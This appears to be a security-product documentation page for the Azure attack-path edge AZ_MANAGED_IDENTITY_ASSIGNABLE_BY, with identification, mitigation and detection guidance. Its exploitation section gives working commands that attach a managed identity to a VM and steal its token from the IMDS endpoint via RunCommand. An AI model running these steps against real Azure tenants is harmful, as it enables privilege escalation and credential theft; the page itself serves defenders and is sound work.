> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/azure/az_managed_identity_assignable_by.md).

# AZ\_MANAGED\_IDENTITY\_ASSIGNABLE\_BY

## Summary

| Property                | Value                                                                                        |
| ----------------------- | -------------------------------------------------------------------------------------------- |
| **Forestall ACL Alias** | `AZ_MANAGED_IDENTITY_ASSIGNABLE_BY`                                                          |
| **Description**         | This UAMI can be attached to a compute resource by this principal for token theft (via IMDS) |
| **Source Node**         | `AZUserAssignedIdentity`                                                                     |
| **Target Node**         | `AZUser` / `AZGroup` / `AZServicePrincipal`                                                  |
| **Severity**            | High                                                                                         |
| **Category**            | ARM Roles                                                                                    |

## Built-in Roles

| Role                                         | GUID                                   |
| -------------------------------------------- | -------------------------------------- |
| Owner                                        | `8e3af657-a8ff-443c-a75c-2fe8c4bcb635` |
| Contributor                                  | `b24988ac-6180-42a0-ab88-20f7382dd24c` |
| Managed Identity Contributor                 | `e40ec5ca-96e0-45a2-b4ff-59039f2c2b59` |
| Managed Identity Operator                    | `f1a07417-d97a-45cb-824c-7a7467783830` |
| Azure Red Hat OpenShift Machine API Operator | `0358943c-7e01-48ba-8889-02cc51d78637` |

## Custom Role Actions

* `Microsoft.ManagedIdentity/userAssignedIdentities/*/assign/action`
* `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

Wildcard actions (`*`) at the `Microsoft.ManagedIdentity` scope also grant this primitive.

## Description

`AZ_MANAGED_IDENTITY_ASSIGNABLE_BY` represents the ability to **attach a User-Assigned Managed Identity (UAMI) to an Azure compute resource**. Once attached, code running on that resource can request an OAuth token for the UAMI from IMDS (`169.254.169.254`) and inherit all role assignments held by that UAMI.

This edge alone is not RCE. The attacker also needs:

1. `write` on a compute/workflow resource that can carry an identity
2. A way to run code on that resource (e.g., RunCommand, Kudu, runbook)

Chain with: [AZ\_EXECUTE\_COMMAND](https://docs.forestall.io/fsprotect/edges/azure/az_execute_command), [AZ\_LOGIC\_APP\_CONTRIBUTOR](https://docs.forestall.io/fsprotect/edges/azure/az_logic_app_contributor), [AZ\_AUTOMATION\_CONTRIBUTOR](https://docs.forestall.io/fsprotect/edges/azure/az_automation_contributor), [AZ\_WEBSITE\_CONTRIBUTOR](https://docs.forestall.io/fsprotect/edges/azure/az_website_contributor).

## Exploitation

**Prerequisites:** `assign/action` on a UAMI + `write` + execution primitive on a compute resource.

### PoC: Attach UAMI to VM, Steal Token via RunCommand

**Step 1 — Attach the UAMI**

```bash
TOKEN=$(az account get-access-token --query accessToken -o tsv)

curl -X PATCH \
  "https://management.azure.com/subscriptions/<SUB>/resourceGroups/<RG>/providers/Microsoft.Compute/virtualMachines/<VMName>?api-version=2024-03-01" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "identity": {
      "type": "UserAssigned",
      "userAssignedIdentities": {
        "/subscriptions/<SUB>/resourceGroups/<RG>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<UAMI>": {}
      }
    }
  }'
```

![Attach the UAMI to a vm](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-317593ec990733b34a549bf7cbccaf82458fabdd%2Fazure-az_managed_identity_assignable_by-powershell_assign_identity_to_vm.png?alt=media)

**Step 2 — Steal the token**

Linux VM:

```bash
az vm run-command invoke \
  --resource-group "<RG>" --name "<VMName>" \
  --command-id RunShellScript \
  --scripts "curl -s -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/&client_id=<UAMI_CLIENT_ID>'"
```

Windows VM:

```bash
az vm run-command invoke \
  --resource-group "<RG>" --name "<VMName>" \
  --command-id RunPowerShellScript \
  --scripts "Invoke-RestMethod -Headers @{Metadata='true'} -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/&client_id=<UAMI_CLIENT_ID>'"
```

![Steal the token](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-a579cabbf218e73d0f4b72d19a039ecc730d5df8%2Fazure-az_managed_identity_assignable_by-ps_steal_MI_token.png?alt=media)

### Other Attack Vectors

| Vector                 | Attach                                              | Execute                   | Reference                                                                                                                                  |
| ---------------------- | --------------------------------------------------- | ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ |
| New VM                 | `az vm create --assign-identity`                    | RunCommand                | [Praetorian](https://www.praetorian.com/blog/azure-rbac-privilege-escalations-azure-vm/)                                                   |
| Logic App              | `az logic workflow identity assign --user-assigned` | HTTP action with MSI auth | [HackTricks](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.html)          |
| Automation Account     | REST PATCH identity block                           | Runbook                   | [HackTricks](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.html) |
| Web App / Function App | `az webapp identity assign --identities`            | Kudu / Web SSH            | [NetSPI](https://www.netspi.com/blog/technical-blog/cloud-pentesting/azure-privilege-escalation-using-managed-identities/)                 |
| ACR Task               | `az acr task create --assign-identity`              | Task step                 | [HackTricks](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.html)  |
| ML Workspace           | REST PATCH identity block                           | Notebook / job            | [HackTricks](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.html)          |

## Identification

### Azure CLI

```bash
az role assignment list --role "Managed Identity Operator" --all -o table
az role assignment list --role "Managed Identity Contributor" --all -o table
az identity list -o table
```

### Azure Portal

1. **Managed Identities** → select UAMI → **Access control (IAM)** → **Role assignments**
2. Look for Owner, Contributor, Managed Identity Operator, or Managed Identity Contributor

## Mitigation

1. **Least-privilege on UAMI scope** — Audit principals with assign action on each UAMI
2. **Reduce UAMI blast radius** — Break apart UAMIs with Owner/Contributor into workload-specific UAMIs
3. **Use PIM** — Make Managed Identity Operator eligible (JIT) rather than active
4. **Azure Policy** — Deny `*/assign/action` outside approved scopes

## Detection

Alert on:

* `assign/action` against a UAMI by an unusual principal
* `identity.userAssignedIdentities` changes on compute resources
* Managed identity sign-in immediately after a new attachment

## References

* [Praetorian — Azure RBAC Privilege Escalations: Azure VM](https://www.praetorian.com/blog/azure-rbac-privilege-escalations-azure-vm/)
* [NetSPI — Azure Privilege Escalation Using Managed Identities](https://www.netspi.com/blog/technical-blog/cloud-pentesting/azure-privilege-escalation-using-managed-identities/)
* [SpecterOps — Managed Identity Attack Paths, Part 2: Logic Apps](https://medium.com/specter-ops-posts/managed-identity-attack-paths-part-2-logic-apps-52b29354fc54)
* [Microsoft Learn — Managed Identity Operator](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#managed-identity-operator)
* [Microsoft Azure Threat Research Matrix — AZT404](https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/)
